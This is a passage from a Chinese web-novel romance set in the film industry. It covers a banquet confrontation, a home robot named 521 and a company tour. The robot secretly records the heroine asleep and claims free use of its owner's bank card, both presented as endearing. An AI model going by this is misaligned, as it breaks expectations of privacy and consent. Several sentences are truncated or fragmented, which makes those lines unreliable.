费鹤鸣欲言又止:“她表现那么精彩,我想忘记也很难。我之前让小霜找过她,小范也说有意思签她,当时小沈那边也在找人试探她口风。钱都准备好了,她说她已经离开一统,签了新公司了。” 范从荣都喝趴下了,提起这事儿L又愣是从桌子上爬起来了,说话的时候酒气熏天:“对、对啊!问题是她、她就不肯跟我说是、是谁……” 说了几句话他越说越生气,站起来以后愣是打了个晃:“我还寻思这次让我撞大运遇见个天才!结果居然让人给我截胡了!连咱们大影后都没抢着,到底让谁弄走了?!气的我心脏疼了好几宿!” 他喝太醉,话听见了,也没想明白底下的含义,就没往是陆嵬签了人那块去想。 一个劲儿L哭诉发泄了个摇钱树,但摇钱树被人挖跑了的愤怒。 两句话说完,他被周围的人七手八脚的扶着又趴那了。 众人越来越好奇,终于有个联合出品方的顶不住好奇问了句:“你们说的到底是谁啊?之前咱们都见过吗?” 陆嵬目光在这群人里扫了一圈,笑笑,说道:“有的不光是见过,对她还挺……‘关照’。” ‘关照’这俩字,陆嵬咬的奇怪。 在场大都是人精了,不会听不出来陆嵬的言下之意,到底是想干什么。 有人动了歪心思了。 带她口中的‘小黎’出来见人是真,把人带到明面上宣誓主权,也是真。 如果她真要想追究,那也只能算动了歪心思的那个倒霉。 陆嵬笑笑,继续说道:“今天正好大家难得凑一起,我也把她带出来给各位看看。看看我、沈总、费导、裘总、范总,还有咱们秦大编剧几个人的眼光是不是够准。” “未来五年、十年过后再聚首,看看她能走到什么位置,看看那时候的她够不够格,让我们几个争的这么厉害。再想起今天这酒桌上的一段,对各位来说,纯就当是个谈资。” 她签了黎数的事儿L算是秘密,裘夏今天也怕引人注目,一直到开机仪式结束以后才跟着黎数一道走。 这期间,只有一个模样看上去憨傻的春风陪着。 一个新人,长得极漂亮,演的也不是个什么多大的角色,有人动了歪心思太正常了。 在开机仪式这么重要的场合上,能操作主持人明着换台本,提一些新人根本无法应付、台本上也不存在的问题,又能有足够的能力,让她在这之后黑料加身,加上原公司的不作为,和她堪比地狱的原生家庭…… 想拿捏一个毫无背景的新人,太容易。 可这些东西,前厅那些非幕后骨干的工作人员和演员做不到,能做到的,都在这屋里。 陆嵬面上不动声色,举起面前的酒杯一饮而尽,随手将酒杯倒扣,意思尽在不言中。 难得开机宴上能这么精彩,不少人都被勾起了好奇心,都是见过大风大浪的人了,也不免勾着头往门口看,看看到底能是谁,还没露脸,就成了这么个几大家争着抢着要的香饽饽- 黎数收到消息的时候挑了挑眉毛。 【陆嵬:把她给我请进来。】 发错人了? 这口气可一点都不客气,要是随便打发个小助理或者打杂的工作人员,和陆嵬的初心也有点不太相符。 她慢吞吞的回复:【您最好是能请个……】 包间大门被从里拉开,引得整个前厅的大多人都不约而同的回眸。 黎数一句话还没打完,就听到前厅不少人陆陆续续起身、要向着这边走的动静。 她抬起头,见沈凝雪长裙曳地,款款向她走来,像是完全没看到前厅的骚动一样,目光居然只是带着极为隐秘的审视在看着自己。 “小黎?”沈凝雪笑了笑,目光很复杂:“大家都想见见你。” 林辰星挽着黎数的手下意识的放下了。 因为这次沈凝雪没再叫自己一起。 第26章 第二十六章【VIP】 黎数端着酒杯,在略落后沈凝雪一步的位置,跟着她往包厢的方向走。 倒也没几步路,但这一路上的气氛总显得压抑。 她看出了沈凝雪的欲言又止和打量,却无言以对,也无从说起,只能装无事发生。 进门后,黎数的目光越过众人,一眼就看到了位于正中央的陆嵬。 她姿势懒散,和身边的笑谈着什么,然而包间的气氛却不太对。 隐隐约约分成了几拨人,有人相谈甚欢,有人交头接耳,有人明显坐立难安。 沈凝雪笑着,当做没看到这一屋子人的各怀鬼胎,带着黎数一起破了冰:“我就出去走了几步路的功夫,你们都聊了些什么,怎么我看赵总和刘总的脸色不太好?别是喝高了吧,酒量变差了啊。” 四月的晚上,包间温度不高不低,一瓶瓶冰酒下肚,两个中年男人却硬生生出了一头的汗。 陆嵬目光不咸不淡的向那边扫了眼。 两人顶着陆嵬平静的笑,却莫名觉得心里发怵。 两人年纪都不小了,四五十岁,孩子都快上大学。 让一个能当他们女儿的小丫头片子这么居高临下的看,彼此对视一眼,恼羞成怒下,甚至看出了对方眼中的不满。 明明他们也没做什么,又不算是什么大事。 就在其中一个人耐不住性子,就要发作的时候,陆嵬忽而一笑。 那人的动作硬生生只晃了晃,又一屁股坐下了。 陆嵬拍拍身边的位置,冲着黎数说:“来,坐到这。” 黎数略点点头,和费鹤鸣先问了好,才坐到了陆嵬身边。 她刚坐下,陆嵬就道:“费导、范总、秦编这几位你都认识,也不用我再多介绍了。” 黎数一次按照陆嵬说的望过去,略过已经喝晕了的范从荣,已经打过招呼的费鹤鸣,朝秦霜笑了笑,又问了个好:“秦编。” 秦霜轻笑,端起面前充当红酒的可乐抿了口,算是打了个招呼。 黎数弯了弯眼睛。 她和秦霜并不算熟,为数不多的了解还是从陆嵬那知道的。 但凡是秦霜担任总编剧的戏里,女性角色都很出彩。 后面就是问候那些资历辈分都高的演员。 但这几位在剧中虽然角色意义重,戏份却一般,和黎数也没什么对手戏,上了年纪的人对应酬也不那么在意,更不在乎小辈底下的风波云涌,大多都淡淡的。 屋里比较知名也比较重要的人差不多之前也都见过,这次也都是点到即止。 问候了一圈,黎数手里的酒见底了两轮。 这次不比外面可以只沾沾唇,每次都是实打实的喝。 陆嵬自顾自的中场暂停,也不管自己是不是已经成了这一圈人关注的重点,说道:“还能喝吗?” 酒量比黎数预料的还要强很多。 红酒杯容量一般也就二百六十毫升,每次倒半满也不过就二百多毫升。 两轮下去,倒也不能算多,但宴会开始以来,两瓶的量是有了的。 黎数估量了一会,点点头:“能。” 陆嵬又给她倒了酒,不比前两轮半满,这次直接倒满了。 她收了笑,隔着几个座位遥遥看了看裘夏。 裘夏耸耸肩,跟着笑了。 她站起身,朗声说道:“各位,时间也不早了,咱们也该去外面和大伙碰个面了。” 都知道这是清场的意思,但费鹤鸣没发话,没人敢牵头先起来。 “是快到时间了。”费鹤鸣目光复杂的看了看黎数,不知道是在考虑什么,但配合的站了起来,说道:“走吧,去转转,和演员们聊聊,也差不多该散了。” 所有人这才陆续起身,像是什么都没发生过似的鱼贯而出。 包厢渐渐空了。 赵乾宇和刘启源对视一眼,硬撑着没走。 陆嵬撂开了手里的干果,拍拍手,皱着眉突出一口酒气,揉了揉眉心。 上一秒的喧闹仿佛恍如隔世,包厢内安静到诡异。 黎数不知道陆嵬这闹得到底是哪一出,也不好在这个节骨眼上贸贸然插话。 半晌,陆嵬中指和无名指轻巧穿过红酒杯托,把那杯倒满的酒轻巧的放在黎数手上,冲着赵乾宇和刘启源的地方示意:“去,敬赵总和刘总一杯。” 黎数端着酒杯和陆嵬对视片刻,看出她的平静,于是顺势转过头,一饮而尽后将杯子倒扣,示意喝干了。 陆神,目光落在了她的脸上。 的。 有些许红酒的痕迹顺着唇角蔓延向下,挂在黎数的下巴上摇摇欲坠。 黎数要去擦拭的手被陆嵬稳稳摁住,掌心了拍。 另巴,把那滴酒擦掉了,又沿着那条酒痕蹭了蹭。 黎数没错过陆嵬给自己擦完以后,放在桌子下的手又在自己裙子上擦了擦的举动。 干什么。 又没让她帮忙擦,擦完了还嫌弃,不在自己衣服上蹭,在她裙子上蹭,蹭一下不够,还来回捻了好几次。 赵乾宇憋不住气,“陆总,你这是什么意思?” 陆嵬回过神,目光淡淡的扫过两人。 “小黎呢,二位也见过了。她来之前我就说过,她年纪小,刚入行不懂事,要是有哪做的不好,还得请诸位多多包涵。” 陆嵬目光平静,从容不迫的说:“不管她做了什么事情,引得了二位的注意,刚刚那杯酒,就当是让小黎给二位赔罪。” 赵、刘二人对视一眼,赵乾宇面色阴沉,心知这事儿恐怕没法善了了。 刘启源有心想说点什么场面话来打个圆场,“小陆,你也别生气了,老赵也就是一时犯了老毛病,这不是也没怎么样嘛,一场误会,好好的合作,没必要因为这点小事闹成这个样子嘛。” 陆嵬笑笑,但笑意不进眼底,但好歹算是卖了刘启源一个面子,“刘总,你是走的范总那边的路子进来签的合同,《秘宝》立项的时候,你公司已经快宣布破产了,你还记得吧?” 刘启源脸色一阵青一阵红,话是一句也说不下去了。 “出品方排位你在倒数,公司靠着《秘宝》拉了几个意向合同之后,也算是起死回生,又借着雪姐的资源整活了你手底下那几个半死不活的小明星,我要没记错,台上的那个主持也是你公司的吧?” 所有以为阴私的事情被陆嵬说到了台面上,几十岁的人了,刘启源挂不住面子,捏着酒杯的手紧了又紧。 陆嵬说:“你尝到甜头,想攀点交情往前挤挤,无伤大雅,赵总手里有你想要的资源,你帮他点小忙可以,没问题。” 刘启源额上冒了汗,又气又急又羞又愧:“我、我和老赵也是几十年的老朋友,他就那么点小毛病……” 陆嵬‘呵呵’笑了声。 黎数瞟她一眼,心想陆嵬这两年比从前能说会道得多。 以前八竿子打不出来一句话,现在一张小嘴倒是挺能嘚吧嘚。 还学会阴阳怪气的笑了。 陆嵬像是注意到了黎数的目光,顺手从旁边酒篮里头拿了瓶白的。 黎数低头一看,不知道哪来的娃哈哈。 她无语,然后插上吸管嗦了一口。 甜丝丝的勾兑饮料,但化解了点嘴里翻江倒海的酒气。 黎数也听明白了。 今晚上这一场,是带着她来兴师问罪的同时,来高调宣誓主权来了。 本来按照陆嵬的常规计划,应该是正常走合同官宣,或许会闹出点无伤大雅又捕风捉影的绯闻给外界猜测,偏偏就这么巧,瞌睡了就立马有人送枕头。 今天闹完这么一出,黎数第二天在圈内就得名声大噪。 陆嵬不知道黎数心里的想法,继续说:“本来嘛,合作这事儿,就是大家都投了钱,也算都上了一条船,是个利益共同体。但总有人想仗着那点以为大家不会撕破的面子,去抢舵手的舵盘,那就不太好了。” 她将酒杯往前一推,递到了赵乾宇面前,随后慢慢的倒酒。 直到一杯酒满,一滴都容不下,陆嵬才随手搁下酒瓶,说道:“赵总,你是自己出局,还是我踢你出去?”- 那杯酒最后一滴不剩的进了赵乾宇肚子。 酒装的太多也太满,拿起来的时候就晃晃荡荡的洒了他一手。 洒了多少,陆嵬就翻倍的加多少。 直到赵乾宇喝完了一整瓶雪利,陆嵬挥挥手,让刘启源带着赵乾宇走了。 门重新开了,是去而复返的裘夏。 她一进来就夸张的惊叹:“你对两个老人家干了什么,姓赵的一出去就吐了一整个大厅,*外面全都是尖叫啊。” 陆嵬在吃香蕉,闻言慢吞吞的说:“啊,他自己喝多了。” 裘夏狐疑的目光扫向黎数,黎数摆摆手,“确实是喝多了。” 问也问不出什么,裘夏说道:“外面差不多散了,怎么着,我送你回去?” “你送小黎回紫檀吧。”陆嵬一根香蕉吃完,把皮扔到桌上,起身时略有些摇晃,低声说:“我回家睡。” 裘夏闻言下意识的回头望向了黎数。 黎数正在打电话,手里捏着一瓶娃哈哈有一下没一下的喝,注意力没在这边。 片刻后她顿了顿,皱着眉说:“好。” 几人在门口分别,张姐带着陆嵬先走了。 黎数隐约间好像听到了猫叫,但又不太能确定。 裘夏也喝了酒,虽然不多,但也没法开车了,他们这里人太多,几个人又是出来的最晚的,大晚上的代驾本来就难找,排单都排到两小时开外了。 两人面面相觑半晌,黎数比了个手势,让裘夏稍等。 五六分钟后,春风拎着大包小包从酒店大厅出来了。 裘夏抱着胳膊上下打量她一眼:“你去后厨抢劫去了?” 春风脖子伸老长,差点没被噎死,半天才把嘴里的东西咽下去,喘着粗气说:“没呢呀,数姐说所有没吃完的都可以打包带走,让我挑点好的带回去,放冰箱能存起来,够我和我妈吃好几个月了,裘总,你看,还有大龙虾啊!这螃蟹也老大了,还有大扇贝啊,我就在电视上见过!粉丝都比咱们自己做的粉丝好吃!” 她如珍似宝似的在裘夏面前打开,还不往和送她出来的工作人员挥手:“这酒店工作人员真好啊,打包盒都不要我钱,还帮我收纳呢,都给我塞满啦!” 黎数笑不行了,忍不住顺毛摸摸春风的头发。 裘夏冷不丁的一眼扫过,见到黎数的动作愣了愣。 春风给她俩欣赏完,才把袋子一拉,“裘总,哪辆车是你的啊?” 裘夏无语的把车钥匙丢给她,指了指不远处的黑车,警告似的说:“你打包的那汤汁要敢流我车上,你死定了。” 春风连连小鸡啄米似的点头,把大包小包全塞裘夏后车厢了。 几人上了车,黎数看着裘夏的车型,忽然想起什么,问春风说道:“你在其他公司干的时候,都开过什么车?” 春风不是新人了,当助理也有一段时间,车应该也开过不少。 但春风想了想,略不好意思说:“其他老板都不愿意让我碰车,没开过正经的。” 她很好奇又很稀罕的左摸摸又看看,很诚恳的和黎数说:“我以前在我们村开过拖拉机和电二轮,进城以后还带我妈开过碰碰车。” 黎数:“……” 裘夏猛回头,看黎数的目光像是在看一个光之英雄:“你有驾照吗?” 黎数慢条斯理的说:“裘总,您还记不记得,您是特意等到我满十八岁以后,才签订的合同。” 没满十八的人不能考驾照。 裘夏最后一丝希望破碎,悲伤的闭上了嘴。 “裘总,放心吧,我行呢,我可稳当了。”春风聚精会神,在所有人都完全没有察觉的时候,车子居然已经毫无摇晃的上了路。 旁边一个骑自行车的吹着口哨越过她们。 裘夏沉默了半晌,把拉链拉过头顶,身体往下一缩。 过了会,掺杂着不甘心的闷声闷气的话传来:“早知道让张姐先把咱仨送回去再送陆嵬了。” 黎数下意识想问‘这么晚了,她去哪了?’,但很快意识到不应该问,也没那个立场,只是想起来,好像隐隐约约听见陆嵬跟张姐说是回家。 回去的路上,裘夏终于被憋得受不了,从衣服黎钻了出来,眼睁睁看着外面一辆辆的电动车飞越而过,也不敢催促春风一点。 黎数半阖着眼,望着申海市比日光还刺眼的灯光,慢吞吞的拉上了车帘。 手机震了震,黎数低头一看,居然是陆嵬发来的消息。 【陆嵬:猫我带回家了,今晚不回。】 第27章 第二十七章【VIP】 到紫檀小筑的时候已经过了零点。 裘夏在副驾睡的不省人事,春风两只眼睛瞪得溜圆,看上去居然还精神得很。 黎数喝了不少酒,简单叮嘱过春风后便进了大门。 不等她按密码,别墅一楼的大门自动按照她前进的步伐开了。 一个圆滚滚的长条静静地立在玄关的位置,一楼的灯光也同时亮起。 521的声音伴随着它脚下滑轮的的滚动声由远及近,“小黎小黎,欢迎回家,小黎。” 屏幕上是亮晶晶的双眼。 黎数忽然间心情就好了许多。 她换好鞋进门,顺手摸了摸521的仿真头发。 触感并不能算太好,毕竟用的不是真发,因为陆嵬说没人给它洗头。 “晚上好。”黎数笑着牵起521的手,和她一起走到了沙发上。 521不需要坐,它的腿没沙发高。 慢慢移动到了黎数身边,521温热的身体贴在了黎数露在外面的小腿上,意料之外的让人很有安全感。 “检测到你的呼气中含有的酒精浓度,小黎,你需要一碗醒酒汤吗?我可以在你洗漱完后准时为你送达到房间门口喔。” 空无一人的房子给了黎数安全感,她卸下了些需要在人前展露出的伪装,眼角眉梢有倦怠,但精神还算好:“你的程序里面还有醒酒汤这道工序吗?” “有的,我还可以做麻婆碎豆腐渣。”521快乐的在胸口放出了一张图。 那是陆嵬吃饭的样子,她表情很臭,目光很无语的在端详着面前那盆碎成渣的麻婆豆腐。 右下角还有日期,是一年前的十一月一日。 “陆嵬那时候骂我,她说我在机器人里肯定是残疾人。”521贴在黎数身边,“但是一个月后我被升级植入了程序,现在已经可以完整的做出一道麻婆豆腐啦!” 说着,521又划拉出几张图来,一边放映一边介绍:“这个,这个,这个……” 它将十余张照片排列完毕,依次放置在自己胸口的电子屏上给黎数展示:“虽然陆嵬每次都说很难喝,但是我做的醒酒汤很好用的!” 机器人这么卖力的推销自己,黎数实在是说不出什么拒绝的话来。 她的目光望向那一张张照片中的陆嵬,却忽然发现那似乎都是近一年的照片。 黎数问道:“怎么都是最近一年的照片?” “因为以前的陆嵬没有喝醉过。”521说:“所以小黎,你想喝一碗521精心特调的醒酒汤吗?” “好。”黎数失笑,看着机器人可怜巴巴的表情,摸了摸它的脑袋,又在它乱七八糟散落的发尾捏了捏,说:“那就麻烦你了。”- 礼服和首饰都被黎数整理好放回了盒子里,换上了睡衣。 酒气因为热气蒸腾,黎数出来后困意明显了许多。 因为答应了要喝521的醒酒汤,黎数强忍着困意吹干了头发,坐在床边的沙发上等它。 不多时,小机器人的脚步声从一楼电梯传来,静音滑轮造成的极其轻微的滑动声让黎数清醒了一点。 521穿上了周姨的围裙,还非常隆重的带上了厨师帽。 醒酒汤被它放在盘子里,很稳的向着黎数走来,“当当当当,特调橘皮醒酒汤,取香橙皮、陈橘皮各500克、檀香……” “总而言之,非常美味,非常醒酒!”521讨好的把盘子托高高。 不一会,黎数将醒酒汤喝完,521将空碗收在了自己背后的篮子里面,托盘贴身搂着,站在原地,眨巴着眼睛望着黎数。 黎数刷完牙出来才发现521还没走。 她问:“怎么了吗?” 521又凑近黎数,小脸上仰45°,屏幕上闪着星星眼,抱住了黎数的小腿:“小黎,请问我可以和你一起睡吗?” 黎数愣了愣。 然后她笑了笑,拍拍床上,说道:“可以,但你要把碗盘放回去,再把自己擦一擦才能上床。我可能等不到那时候了,我很困,你能自己上床吗?” 521立马给她表演了一个机器人三百六十度空翻着下楼去洗澡了。 迷迷糊糊入睡前,黎数似乎听到了小机器人刻意放轻的动作,还听到521说:“小黎,你和陆嵬说过的我的主人很像。你是我的主人吗?那你以后能当我的主人吗?陆嵬会把我送给你或是卖给你吗?” 梦中的黎数当然不可能回答,521精准的设定之一,悄咪咪的打开摄像头,对准黎数熟录。 5日,521与小黎- ,黎数就准时起床了。 521在时刻,眼睛也从一条直线变成了一双水汪汪的圆眼睛。 “小黎早上好!”521很精神的打招呼,“早上想吃点什么呢?虽然陆嵬已经回来了,但是我还是可以帮你订餐的。” 黎数整理动作的手一顿,“你还可以订餐?你哪来的钱啊?” “我的支付程序直接绑定了陆嵬的银行卡。”521理直气壮:“我的第一出厂程序告诉我,这笔钱我可以理智的自由支配。”- 黎数带着昨晚已经整理好的礼服和饰品下了楼,才发现陆嵬已经在吃饭了。 周姨和张姐都没在,桌子上是几样买的早餐。 陆嵬面无表情的瞥了眼像是得了羊癫疯一样满世界溜达的521,说道:“你们昨晚干什么去了?” 黎数坐下吃饭。 她今天上午没什么事做,虽然说是给她抬到了女一,但群像戏里,女一的戏份未必是最多的。 她今天被安排了下午三点准时去剧组试装,并且拍定妆照。 还不等黎数回答,521抢先一步滑过来,“昨晚我和小黎度过了非常罗曼蒂克的温馨一夜。” “罗曼蒂克。”陆嵬冷笑着重复一句,“那可真是恭喜你了。” “不用客气的老陆。”521哼着歌,取走了桌子上的两个盒子,说道:“我已经联系了银行柜台,首饰还收回去,礼服怎么办呢?这可是小黎自己亲手改过的喔。” 陆嵬看了眼黎数,说:“礼服留着吧。” 黎数想了想说:“好。” 这种量身定做的礼服,除了转赠或者是售卖,一般也只能穿一次,日常生活里是没什么场合穿的。 黎数去厨房接水,顺带取碗筷一起吃。 521趁机将礼服拿出来,机械手臂伸出两米开外,将礼服高高举在脑袋上,原地三百六十度给陆嵬展示:“锵锵锵锵。” 陆嵬面无表情的把黄瓜嚼的咔吧脆。 往常的这个时候,521一般也不会上赶着触霉头,察觉陆嵬脸色不对的第一时间就会回到自己的充电仓。 现在不同往日。 它举高礼服,将腰部黎数在它缝的歪歪扭扭的那条线的基础上改的痕迹显摆给陆嵬看。 “你看你看你看,你看啊。”521陶醉的深吸了一口香气,卖力的推销着黎数的技能:“小黎又香又会演戏人又温柔又不像你似的跟个炸药桶似的一点就爆炸……” 陆嵬捏黄瓜的姿势换成了握,“你还能闻见香气。” 在陆嵬把黄瓜变成棒槌锤它之前,521瞬间认怂:“那不是检测到空气中有天竺葵叶、柑皮、佛手柑皮的成分吗,一定就是很香的!你看,这是小黎自己改的衣服,多好看呀!” 陆嵬冷笑一声,只差一点就锤爆521狗头的黄瓜被她又啃了一口。 她的目光漫不经心的落在了那条黎数缝过的痕迹上,而后忽然愣住了。 那条被收的很细密的针脚下,几乎看不出521的机械笨手缝出来的毛毛虫疙瘩,被很有技巧的同色系的线修补完成,和原来礼服的缝纫线条几乎一模一样。 陆嵬自己都不知道那一刻她到底在想什么。 她伸出手,将礼服翻了个面。 腰线的位置上,礼服里面的缝纫痕迹呈现出了数个菱形格子,一直到线头收针的位置,被很有技巧的穿过整条线,在最上端的地方打了一个活结。 “这是她自己缝的?” 521快乐点头,满怀憧憬的说:“你说小黎会把这件礼服改成裙子送给我吗?陆嵬,小黎和你跟我说过的主人真的好像,她们真的不是同一个人吗?” 521又沮丧了下来:“她们确实不是一个人,她们的面部相似度只有百分之七十六,岁数也不同。” 但陆嵬没再理它。 她坐回自己的位置上,看着黎数从厨房出来,坐下,一口一口的慢慢咀嚼她带回来的早餐。 早餐种类不算多,陆嵬是按照营养师的单子直接让酒店送来的。 黎数没什么很喜欢的,但也没什么很不喜欢的。 陆嵬垂下眸子,和已经消停的521说:“她们确实不是一个人。” 一根黄瓜被她吃的剩下最底部逐渐发涩的位置,陆嵬忽然说道:“今天上午跟我去趟公司。” 黎数抬起头,满脸疑惑的说:“我?去你公司?” “嗯。” 黎数也没问为什么,慢吞吞点点头:“好。” 两人吃饭也不是第一次,但黎数莫名觉得这顿饭吃的时间似乎有点过于久了。 521已经尽职尽责的将黎数吃完的碗筷放进了洗碗机。 随后它方圆圆的小脑瓜看了黎数一会,忽然连接上了别墅里的打印机,打印出来了一张黎数的照片贴在了自己的脑门上。 然后成功的打破了早餐的寂静。 紧接着,元宝鬼哭狼嚎的喵喵叫声响彻了整个别墅。 第28章 第二十八章【VIP】 这是黎数重生后第二次踏足陆嵬的公司。 但情况和上一次不太相同。 她上次是直接通过专用电梯上到了33楼,也没有多走动,一直待在会议室里,签订完合同后就直接离开了。 这次陆嵬似乎是有意识带她逛一逛公司一样,在上班高峰期带着她慢悠悠的溜达。 也并不是每一层都去,只是挑着有必要讲解的重点楼层走了走。 “这些本来应该是裘夏告诉你的。”陆嵬脸上露出了点轻微的不耐烦,“但是她老婆要进组了,她这两天忙着黏人,腾不出手。” 虽然听到很多次,但黎数每一次都觉得还是很震撼。 但震撼之余又理解的点点头。 刚签上约,这期间算是裘夏最轻松的时候了。 前期,甚至直到中期,寰宇内部资源就可以直接推流给她,不需要裘夏费心去联系,这个时间下和家人沟通感情也是正常的。 之前说裘夏的老婆是剧组的工作人员,现在看来应该其实是演员,只是人多口杂,避免招惹是非,所以陆嵬也从没提过。 黎数有一个疑问:“夏姐的老婆也是演员的话,她为什么不亲自带?” 陆嵬淡淡的说:“她老婆说距离产生美。” 黎数漫不经心的和她搭话,“陆总觉得呢?” 陆嵬冷漠道:“我觉得这话说的很有道理。” 两人已经走到了明星墙附近,不约而同的停下了脚步。 墙上的艺人众多,有黎数认识的,也有不认识的。 最高处的照片也是最大的照片,依次向下排位变多,照片变小,直到最后一行。 陆嵬说道:“看到这些,有什么感想吗?” 黎数迟疑片刻,说:“没有黑白照,挺好的。” 陆嵬面无表情的扭头看她。 黎数一笑:“当第一也挺辛苦,看得人脖子累。” 陆嵬平静的移开了目光。 黎数补上了下半句话:“但也只有爬上最高位,才能被所有人看到。” “很好。”陆嵬颔首。 黎数微微一笑。 这一路上所有经过的工作人员都会向两人投来注目礼,在寰宇,没有人不认识陆嵬。 但也就是因为所有人都认识,所以听到风声以后,假装路过的人更多了。 黎数心里叹了口气,差不多也知道陆嵬的意思了。 她是要趁着今天下午的定妆照的风波一起,借着《国家秘宝》的东风,和从‘据寰宇内部工作人员亲口透露’的东风一起,向世界宣告自己的存在。 可一个替身,到底有什么好宣传的? 时至今日黎数都没想明白这一点。 寰宇诸多小群在今天彻底炸了锅。 “我有预感,公司要变天了。” “刚刚陆总带来的那是个新人吗?看起来岁数很小,但是怎么总有种很眼熟的感觉?” “我之前听楼上的工作人员提过一嘴,说她的合同已经过了,签的全约,裘总亲自接手带她。” “嘶,裘总亲自带?以前从没听过她啊,等等,她叫黎数?!还长这个样子?陆总亲自签的人?经纪人还是裘总!我的老天!” “怎么了怎么了?” “有八卦?!” “分享内容:2027年六陇市发生特大泥石流自然灾害,知名演员黎数不幸丧生。” “分享内容:蝉联三届金凰奖最佳女配演员黎数疑似和小女友同居。” “分享内容:知名新锐导演陆嵬疑似恋上大七岁女演员,并与对方共筑爱巢,现身家居用品店。” “不会吧,和两年前泥石流灾害去世的那个女演员长得一模一样?名字都是一样的?这这这,现实版的替身文学?!” “我的天,活久见,咱陆总啥时候这么疯了……” “[匿名发言]小道消息,听说陆嵬一直很疯,不是什么好人,小时候她就用刀要捅自己亲爹,两年前黎数死了以后,她还因为持械伤人被关了半个多月,就因为有人骂她,后来因为社会影响恶劣,当时闹得还挺大,花挺多钱才摆平,只能说有钱真好。” “咱陆总?她小时候的事儿你怎么知道啊?她打人?她两年前能打什么人?瘦的都成什么样了,咱姥姥那时候棺材都打好了,她能打什么人?小时候一个小女孩持刀捅自己亲爹?这话你怎么寻思说出来的呢?啊?你说啊?” “匿名发毛消息,发言。” 【管理员关闭群匿名功能】 “性感大蟑螂:我就不扒,你,略略略。” 【性】” 【性感大蟑螂退出群聊】 …… 黎数还没融入寰宇,以前在研究所上班的时候,环境也纯粹,自然不知道这诸多艺人、工作人员混杂的乱七八糟的小群文化。 走过照片墙,两人继续向上,一路上都是公司知名艺人的海报。 “你可以把寰宇理解为一个专业的经纪代理一体的投资公司。”陆嵬淡声道:“涉及到的领域除了你已知的电影、电视领域之外,寰宇同时涉及音乐、戏剧、体育、游戏、互联网名人这些领域。” 确实是家大业大。 黎数呼吸放轻了些。 放眼整个国内,恐怕没几个人能和陆嵬一样敢这么做。 即便是想做,可隔行如隔山,手下没有专业的人,也根本就不可能办成事。 但陆嵬为什么敢呢? 黎数想到了控制这些所有领域的关键地方,电影总局。 从筹备,到制作,到发行与宣传,陆嵬的父母、祖辈所负责的区域几乎横跨了大半个地图,从电影行业成立以来至今几十年内,他们的门生又何止千千万。 这样的一个人,曾经又怎么会和自己在一起? 黎数皱起了眉毛。 陆嵬和黎数的手机几乎是同时响起。 陆嵬只抬头看了一眼黎数,就低头打开了消息。 “分享内容:知名新锐导演陆嵬因拍戏倾家荡产,吃住都在女友家,疑似软饭硬吃,还不给人角色演绎,空手套美女。” 【裘夏撤回一条消息。】 【裘夏:下午我找宣传部的人一起去剧组,拍完素材回来以后,跟秘宝前后脚一起官宣。】 【陆嵬:我看到了。】 【裘夏:521下跪.jpg】 陆嵬面无表情的锁了屏,将目光重新投向了面前的照片墙。 两年的时间,照片墙上的人也换了个来来回回。 有人曾经高居榜首,有人曾经无人问津,有人曾经一文不值,有人曾经一飞冲天。 两年前熟悉的一切大都物是人非。 陆嵬收回目光,却发现黎数正看着那面墙看的津津有味。 她似乎对每一个人都很关注。 关注那些老人落魄的原因,关注新人兴起的路程,几乎没有什么遗漏的一张张拍照,再放大一一仔细浏览。 她似乎的确很喜欢演员这个职业。 曾经的黎数也对每一个演员从出道以来的历程非常感兴趣,但说的最多的永远都是‘真厉害’‘真棒’‘太坚强’,有褒无贬。 她说她没资格站在并不中立的上帝视角去评判任何人这一路的功与过。 陆嵬静静的观察了一会,手在手机的一角上缓缓搓动,片刻后,她缓慢的开口说道:“这上面,有你喜欢的吗?” 黎数迟疑的抬起了头。 一个十八岁的少女,正常该喜欢什么类型的演员? 她饰演环卫工人的时候,看的最多的题材是都市伦理和乡村日常,饰演律师的时候,看的最多的是今日说法和辩法节目,饰演消防员的时候,看的最多的是消防和医护联动的电影电视。 但原主并没有什么很明显的喜好。 她的房间布置一眼可以看完,里面没有任何明星的周边,手机上的背景也是自带的初始背景,电脑和手机的影视播放app里面,收藏的大多都是书法教学。 说多错多,黎数也不可能说自己喜欢的东西。 她诚实的说:“没有我喜欢的,但都是我应该尊敬的。” 但连她自己都没有察觉,在这片照片墙下停驻时,她的目光曾经长久的停留在位于上层的照片墙中其中的一位女演员。 那是她从前的偶像,但是一直无缘合作。 她本以为可以与之同台飙戏的《真凶》也被沈凝雪陆嵬送给了沈凝雪。 “那是季李。”陆嵬注意到她的目光,主动开口说:“实打实的三金大满贯。她的荣耀放眼整个中国都没有人可以与之匹敌。” 黎数沉默片刻,故作轻松的说:“是吗,难怪我看着眼熟。原来是我模仿的那位前辈喜欢的演员,我之前看她的采访的时候有听她提起过,她说她很想和这位老师一起演戏,只是一直没有机会。” 陆嵬迟迟没有回应。 黎数食指第二个指节揉了揉太阳穴,说道:“陆总,咱们在这已经欣赏够久得了,换个地方吧。这么多照片盯着,怪渗人的。” 陆嵬不置可否,带着黎数离开了这片区域。 已经过了上班高峰期,没有多少员工再在外围区域随意游走,四周恢复了安静。 陆嵬走在她左边,除了脚步声外,只有彼此的呼吸。 “刚刚是谁找你?” 黎数愣了愣,说道:“是521。” 想了想,毕竟陆嵬作为521真正的主人,似乎也有知情权,便说道:“我答应把那件礼服改成小裙子送给她,又在走之前给她绑了两个麻花辫,她很喜欢,拍了521张照片上传到了储存盘,说以后要每天换一张当做它全平台的交友头像。” 黎数补充道:“然后请我挑选了一张我最喜欢的,当成了微信专属头像。” 陆嵬:“……” 陆嵬闲聊般的说:“你平时喜欢听的歌是什么?” 黎数精神震了震,心里迟迟的升起了一些异样,但又无法捕捉。 毕竟了解她的喜好也算是工作流程,在签合同的那一天,裘夏给她的表格上面她就有填写。 很快的回道:“听一些古风歌,我平时也没什么东西要做,也就是听听歌、练练字。” 顿了顿,黎数还是说道:“陆总,这些东西,签合同的时候似乎我都填写了。” 包括但不限于社交关系、亲属、喜好,甚至是有没有男女朋友,有没有私密照外泄,有没有欠款之类的全都在需要填写的内容单内。 陆嵬‘嗯’了一声,声音依然平静,看不出任何异常。 过了会,她笑笑说:“你和她喜欢的不一样。她喜欢听儿歌。” 黎数无语片刻。 她不是喜欢听儿歌,只是部分儿歌和童年歌曲节奏大多都欢快一些,不论是提神还是调解心情都很好用。 何况很多所谓的儿歌和童年歌曲,影响力广的,诸如鲁冰花都获得过不少含金量极高的知名奖项。 陆嵬亮了亮手机,但速度太快,黎数没看清楚屏幕。 